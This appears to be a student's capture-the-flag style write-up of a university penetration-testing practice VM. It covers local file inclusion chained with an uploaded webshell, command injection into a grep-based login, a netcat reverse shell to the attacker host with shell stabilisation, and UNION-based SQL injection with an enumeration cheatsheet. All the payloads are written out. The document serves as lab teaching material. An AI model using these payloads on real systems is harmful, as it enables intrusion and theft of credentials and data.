Uni Exam Practice VM practice: more of LFI2RCE

In this university exam practice VM, I explored file upload handling, discovered a separate file inclusion point, and chained it with an uploaded webshell to gain remote command execution.
Uni Exam Practice VM practice: more of LFI2RCE

Today we'll cover the second test exam VM our professor provided us for his Penetration Testing class. The first one, aswell as all practice VMs, went pretty well, so i am excited to see what'll be going on here.

To better get to know the basics of the tunneling we'll be doing, look at my previous text exam post.

Starting the exercise

ssh user@<REMOTE_IP>

Here we'll start with a netstat-check to see what services are running.

netstat -tulpn
As a reminder, read through what the -tulpn flags mean.
  • -t → TCP
  • -u → UDP
  • -l → listening ports only
  • -p → show process name/PID
  • -n → show numeric IPs and ports (no DNS resolution)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:40497         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -

Let's port forward these services so we can see what's going on.


Tunneling interesting ports

export RHOST=<REMOTE_IP>

export LOCAL=127.0.0.1
ssh -L 8888:$LOCAL:53 -L 8889:$LOCAL:8088 -L 8890:$LOCAL:80 user@$RHOST
Whoops, my bad, still tired. 53 is DNS, we'll find nothing there haha - let's start with the other two:
Let's enter the easy flag we've got and continue working through the other web app.

Working through /pastebin

Whoop whoop! Let's hop over to burp for this one!
touch test.pdf

We create a test file we can upload.

Great, we even get an output repo and path. Let's change this up a bit.

Seems the content is just put in AS-IS.

Nothing hints at PHP code being executed. So what now? 

Let's try to utilize another web app that might execute our crafted shells!

💡
 Uh uh uh.. a GET parameter, how convenient.

Payload:

http://127.0.0.1:8889/webring/?page=/var/www/html/pastebin/uploads/c64e1fb5e4b0084d.txt&0=getflag

Don't worry about that GIF8 in front, it's a leftover from one of my tests.


What File Inclusion really is

Definition

File inclusion is a vulnerability where a web application dynamically loads and executes (or displays) files based on user input, allowing attackers to include arbitrary local or remote files, often leading to code execution or information disclosure.

What went wrong with ours

In our case, /pastebin only created & stored static txt files, while the key to utilizing our webshell was the file inclusion point in this other web app - classic LFI2RCE chain.


Working through /textdb

Let's try simple auth bypass, shall we?

Our payload admin' OR 1=1 -- - didn't work, buut we can see the executed command:

<!-- grep -E -x 'admin' OR 1=1 -- -[[:space:]]+' plaintextcreds.txt 2>&1 -->2: Username or password wrong :(  
<!-- Error:  -->

The executed command is grep -E -x '<input>' plaintextcreds.txt, the input ends up injected into a grep command.

name=' ; ls /etc # &pass=&submit=Click me!

hmm, that now shows:

<!-- grep -E -x '' ; ls /etc # [[:space:]]+' plaintextcreds.txt 2>&1 -->Username and password valid :)

we can see it is a silent Command Execution.

Silent Command Execution

...refers to a situation where a command is successfully executed on the server but its output is not displayed or returned to the attacker, making it appear as if nothing happened.

Try as a (URL-encoded) payload:

a'; sleep 5 #
If that wouldn't have sufficed, add a ; to try things out: a'; sleep 5 ;#

the request will take.. 5s longer lul. We have command execution, we just don't have an output! It's silent, rememeber?

Let's go with a Reverse Shell. Our prof's environment is in docker:

How to know you're in a Docker container

You see this weird 8101522c71c03 hostname when looking up /etc/hostname with catA pretty clear sign you're in a Docker container.

Establishing our Reverse Shell

Luckily in our case, we have the command line of where we tunneled in:

user@hsma-tunnel:~$

in your exercise if it's not docker it will work the regular way.

We get the IP via ip -a | grep docker - i should do a post on pipelines hm?
user@hsma-tunnel:~$ nc -nlvp 4444  
listening on [any] 4444 ...

You know the drill, and the payload on the attacker side:

name=a'; nc 172.17.0.1 4444 -e /bin/bash #&pass=x&submit=Click me!

Nice, connected!

Shell Stabilisation

Let's do it like i taught you hehe: On the target:

python -c 'import pty; pty.spawn("/bin/bash")'

Then background the shell with CTRL+Z, and run:

stty raw -echo; fg

then hit enter to return to your target machine’s process.

export TERM=xterm
That gives you tab completion, line editing, and often color support. It’s not perfect — but good enough for this.

Something with the docker env is broken so it doesn't work, but do it anyways! Great exercise!


FINALLY: Finding Flags

pwd
# results in:
/var/www/html/textdb

Let's go one back and search for flags shall we? I know the format starts with an HSMA (my uni):

cd ..

grep -r HSMA*

test/index.php:  echo '<blink>HSMA_CTF_hidden_in_plain_sight_c6f81718</blink>';
textdb/plaintextcreds.txt:flag  HSMA_CTF_cred_exfil_a076434e
vault/index.php:          echo 'Well done, the flag is HSMA_CTF_read_the_sauce_b6dec7b3';
Ups.. a bit more than we even wanted. We now are only missing one flag.

Working through /topnames

It's SQL Injection time!

Let me hand you a small SQL Enumeration Cheatsheet we created with our professor.

SQL Enumeration: Mini cheatsheet

-- enumerate DATABASES
SELECT schema_name FROM information_schema.schemata;

-- enumerate TABLE NAMES in our current DB
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE();

-- alternatively enumerate TABLES in all DBs except default DBs
SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'mysql');

-- enumerate COLUMNs from a specific database for a specific table
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'database_name'
  AND TABLE_NAME = 'table_name';

-- some shorthands
SHOW TABLES IN information_schema;
SHOW COLUMNS IN information_schema.tables;
SHOW COLUMNS IN information_schema.columns;
There is a SELECT going on in /topnames, so let's learn something new here!

2 ways to check if UNION SELECT will work

1. The direct approach

Put in

0 UNION SELECT 1, 2, 3 -- and so on
Add/ remove columns until the error message vanishes.

2. Via GROUP BY

Put in

0 GROUP BY 1, 2, 3 -- and so on
Same here: add/ remove columns until these Unknown errors vanish

Finding our last flag

Now what we know there are two columns, we can do (looking at the above cheatsheet):

0 UNION SELECT 1, COLUMN_NAME from information_schema.columns where table_schema = database()

This reveals us all column names: commentpassusernameid.

Now, i suspect comment may contain our flag - we need to find out in which table this is.

Again, look at the cheatsheet:

0 UNION SELECT 1, table_name from information_schema.tables where table_schema = database()

tells us there are users and names.

With this:

0 UNION SELECT 1, CONCAT(comment,pass,name) FROM users
concat() does work without quotation marks! Nice to know!.
Nice! We've found all flags! We did it guys hehe, nice work!

As a bonus, you should look at more concat() payloads, like:

CONCAT(first_name,'%0d%0a',last_name,'%0d%0a',password),2,3,4 FROM users--+-

maybe here (just search for concat).


That's it for today. Stay safe, drink enough water.

Subscribe to my monthly newsletter

No spam, no sharing to third party. Only you and me.

Member discussion